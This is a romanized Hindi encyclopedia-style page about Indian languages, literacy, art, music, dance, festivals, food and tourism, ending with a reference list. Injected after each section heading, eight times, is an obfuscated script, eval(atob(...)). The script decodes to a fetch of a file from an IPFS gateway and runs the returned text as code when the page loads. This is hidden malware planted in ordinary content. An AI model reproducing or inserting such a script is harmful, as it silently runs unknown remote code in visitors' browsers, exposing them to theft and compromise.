bharat ki mukhy visheshata yah hai ki yahaan vibhinnata mean ekata hai. bharat mean vibhinnata ka svaroop n keval bhaugolik hai, balki bhashayi tatha saanskritik bhi hai. ek riport ke anusar bharat mean 1652 matribhashayean prachalan mean haian, jabaki sanvidhan dvara 22 bhashaoan ko rajabhasha ki manyata pradan ki gayi hai. sanvidhan ke anuchchhed 344 ke aantargat pahale keval 15 bhashaoan ko rajabhasha ki manyata di gayi thi, lekin 21vean sanvidhan sanshodhan ke dvara sindhi ko tatha 71vaan sanvidhan sanshodhan dvara nepali, koankani tatha manipuri ko bhi rajabhasha ka darja pradan kiya gaya. bad mean 92vaan sanvidhan sanshodhan adhiniyam, 2003 ke dvara sanvidhan ki athavian anusoochi mean char nee bhashaoan bodo, dogari, maithili tatha santhali ko rajabhasha mean shamil kar liya gaya. is prakar ab sanvidhan mean 22 bhashaoan ko rajabhasha ka darja pradan kiya gaya hai.

shiksha

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1911 mean bharatiy janaganana ke samay saksharata ko paribhashit karate hue kaha gaya hai ki "ek patr padh-likhakar usaka uttar de dene ki yogyata" saksharata hai. bharat mean lambe samay se likhit bhasha ka astitv hai, kintu pratyaksh soochana ke abhav ke karan isaka santoshajanak vikas nahian hua. h dappa aur mohanajod do ki lekhan chitralipi tin hazar varsh eesa poorv aur bad ki hai. yadyapi abhi tak is lipi ko padha nahian ja saka hai, tathapi isase yah spasht hai ki bharatiyoan ke pas kee shatabdiyoan pahale se hi ek likhit bhasha thi aur yahaan ke log padh aur likh sakate the. h dappa aur ashok ke kal ke bich mean pandrah sau varshoan ka aisa samay raha hai, jisamean ki koee likhit praman nahian milata. lekin panini ne us samay bharatiyoan ke dvara boli jane vali vibhinn bhashaoan ka ullekh kiya hai.

bharatiy kala

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy kala apani prachinata tatha vividhata ke lie vikhyat rahi hai. aj jis roop mean 'kala' shabd atyant vyapak aur bahuarthi ho gaya hai, prachin kal mean usaka ek chhota hissa bhi n tha. yadi aitihasik kal ko chho d aur pichhe pragaitihasik kal par drishti dali jae to vibhinn nadiyoan ki ghatiyoan mean puratattvavidoan ko khudaee mean mile asankhy pashan upakaran bharat ke adi manushyoan ki kalatmak pravrittiyoan ke sakshat praman haian. patthar ke tuk de ko vibhinn takanikoan se vibhinn prayojanoan ke anuroop svaroop pradan kiya jata tha.

bharatiy sangit

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sangit manaviy lay evan talabaddh abhivyakti hai. bharatiy sangit apani madhurata, layabaddhata tatha vividhata ke lie jana jata hai. vartaman bharatiy sangit ka jo roop drishtigat hota hai, vah adhunik yug ki prastuti nahian hai, balki yah bharatiy itihas ke prasambh ke sath hi ju da hua hai. vaidik kal mean hi bharatiy sangit ke bij p d chuke the. samaved un vaidik rrichaoan ka sangrah matr hai, jo gey haian. prachin kal se hi eeshvar aradhana hetu bhajanoan ke prayog ki parampara rahi hai. yahaan tak ki yajnadi ke avasar par bhi samoohagan hote the.

nrity kala

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat mean nrity ki anek shailiyaan haian. bharatanatyam, odisi, kuchipu di, kathakali, manipuri, kathak adi paranparagat nrity shailiyaan haian to bhang da, gidda, naga, bihoo adi lok prachalit nrity hai. ye nrity shailiyaan poore desh mean vikhyat hai. gujarat ka garaba hariyana mean bhi mancho ki shobha ko badhata hai aur panjab ka bhang da dakshin bharat mean bhi b de shauq se dekha jata hai. bharat ke sangit ko vikasit karane mean amir khusaro, tanasen, baijoo bavara jaise sangitakaroan ka vishesh yogadan raha hai. aj bharat ke sangit-kshitij par bismilla khaan‎, zakir husain, ravi shankar saman roop se sammanit haian.

sanskriti

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tyohar aur mele bharatiy sanskriti ke abhinn aang haian. yah bhi kah sakate haian ki bharatiy sanskriti apane hriday ke madhury ko tyohar aur meloan mean vyakt karati hai, to adhik sarthak hoga. bharatiy sanskriti prem, sauhardr, karuna, maitri, daya aur udarata jaise manaviy gunoan se paripoorn hai. yah ullas, utsah aur vikas ko ek sath samete hue hai. anand aur madhury to jaise isake pran haian. yahaan har kary anand ke sath shuroo hota hai aur madhury ke sath sampann hota hai. bharat jaise vishal dharmapran desh mean astha aur vishvas ke sath mil kar yahi anand aur ullas tyohar aur meloan mean phoot p data hai. tyohar aur mele hamari dharmik asthaoan, samajik paramparaoan aur arthik avashyakataoan ki triveni hai, jinamean samoocha janamanas bhavavibhor hokar gote lagata hai.

bharatiy bhojan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy bhojan svad aur sugandh ka madhur sangam hai. pooran poori ho ya dal bati, tandoori roti ho ya shahi pulav, panjabi bhojan ho ya marava di bhojan, zikr chahe jis kisi ka bhi ho raha ho, keval nam sunane se hi bhookh jag uthati hai. bharat mean pakavanoan ki vividhata bhi bahut adhik hai. rajasthan mean dal-bati, kolakata mean chaval-machhali, panjab mean roti-sag, dakshin mean idali-dosa. itani vividhata ke bich ekata ka praman yah hai ki aj dakshin bharat ke log dal-roti usi shauq se khate haian, jitane shauq se uttar bharatiy idali-dosa khate haian. sachamuch bharat ek rangabiranga guladasta hai.

paryatan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatavasi apani dirghakalin, anavarat evan satarangi upalabdhiyoan se yukt itihas par garv kar sakate haian. prachin kal se hi bharat ek atyant hi vividhata sampann desh raha hai aur yah visheshata aj bhi samay ki gh di par aankit hai. yahaan prarambh se anek adhyavasayoan ka anusaran hota raha hai, prithakh-prithakh manyataean haian, logoan ke rivaz aur drishtikonoan ke vibhinn rangoan se saza yah desh atit ko bhoot, vartaman evan bhavishy ki aankhoan se dekhane ke lie ahvan kar raha hai. kintu bahurangi sabhyata evan sanskriti vale desh ke sabhi ayamoan ko samajhane ka prayas itana asan nahian hai.

{{#icon: Redirect-01.gif|dhyan dean}} vistar mean padhane ke lie dekhean:bharat alekh

rajy sanrachana

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑

    satyamev jayate nanritan satyen pantha vitato devayanah.
    yenakramantyrishayo hyaptakama yatr satsatyasy paraman nidhanamh॥

    mundakopanishadh tritiy mundak shlok 6
  2. ↑ 2.0 2.1 India : Census 2011
  3. ↑ Population Density per Square Mile of Countries
  4. ↑ 4.0 4.1 4.2 4.3 Report for Selected Countries and Subjects (aangrezi) (e.es.pi) International Monetory Fund. abhigaman tithi: 15 mee, 2012.
  5. ↑ sitambar 2006-2011 ki sthiti ke anusar
  6. ↑ pustak 'bharat ka itihas' romila thapar) prishth sankhya-19
  7. ↑ (vishv ka 2.2% vishv mean 7vaan sthan)
  8. ↑ ekadam dakshini bhag ki bhoomadhy rekha se doori
  9. ↑ uttar mean himalay parvatamala se lage hue chin, nepal tatha bhootan, poorv mean parvatiy shrriankhala se alag hua myanmar tatha poorv mean hi baangladesh, pashchim mean pakistan evan afaganistan tatha dakshin mean hind mahasagar, bangal ki kha di evan arab sagar.
  10. ↑ dvipoan sahit samudri sima ki kul lanbaee
  11. ↑ sthaliy sima ki lanbaee
  12. ↑ sanghashasit kshetroan ki sankhya
  13. ↑ bangal ki kha di mean dvipoan ki sankhya- 204, arab sagar mean dvipoan ki sankhya- 43.
  14. ↑ ve rajy jinase hokar kark rekha gujarati hai
  15. ↑ sarvadhik nagariy janasankhya vala sangh shasit kshetr
  16. ↑ sabase kam nagariy janasankhya vala sangh shasit kshetr
  17. ↑ kshetraphal ki drishti se sabase b da sanghashasit kshetr
  18. ↑ pramukh sagariy machhaliyaan- bataraphish, svet bet, saradain, pran, maikarel, jyoophish, ribanaphish, kaitaphish, saranga, dara, tyoona, mulets, siyaraphish, shark, pamaphret, shrimp adi. vishv matsyayan ka- 2.7%.
  19. ↑ kul kshetraphal ka 22.7%
  20. ↑ sianchaee ke sadhan
  21. ↑ 200 semi. varshik varsha vale kshetroan mean bina sianchaee ke
  22. ↑ 100 se 200 semi. varsha valeai jalodh eanv kali mitti ke kshetroan mean
  23. ↑ uttar-poorvi bharat, pashchimi ghat adi kshetroan mean
  24. ↑ vishesh roop se himalay ke dhaloan par
  25. ↑ manipur ke senapati zile ke tin upaziloan ko chho dakar
  26. ↑ anusoochit jatiyoan ki sankhya
  27. ↑ anusoochit janajatiyoan ki sankhya
  28. ↑ ausat varshik ghatiy vriddhi dar
  29. ↑ anuchchhed 344 (1), 351, athavian anusoochi ke anusar 22 bhashaaian hai jinake nam is prakar hai:- asamiya , baangla , gujarati , hindi , kann d , kashmiri , koankani , malayalam , manipuri , marathi , nepali , u diya , panjabi , sanskrit , siandhi , tamil , urdoo , telugu , bodo , dogari , maithili , santhali
  30. ↑ krishi se sanbandhit kary mean sanlagn udyamoan ka pratishat
  31. ↑ gair-krishi sanbandhi karyoan mean sanlagn udyamoan ka pratishat
  32. ↑ kul udyamoan ka 1.4%
  33. ↑ javahar lal neharoo antarrashtriy havaee adda (santakruj, mumbee), subhash chandr bos havaee adda (damadam- kolakata), indira gaandhi antarrashtriy havaee adda (palam, dilli), minambakam havaee adda (chennee) tatha tiruvanantapuram.
  34. ↑ rachayita-gurudev ravindr nath taigor
  35. ↑ rachayita- bankimachandr chatarji
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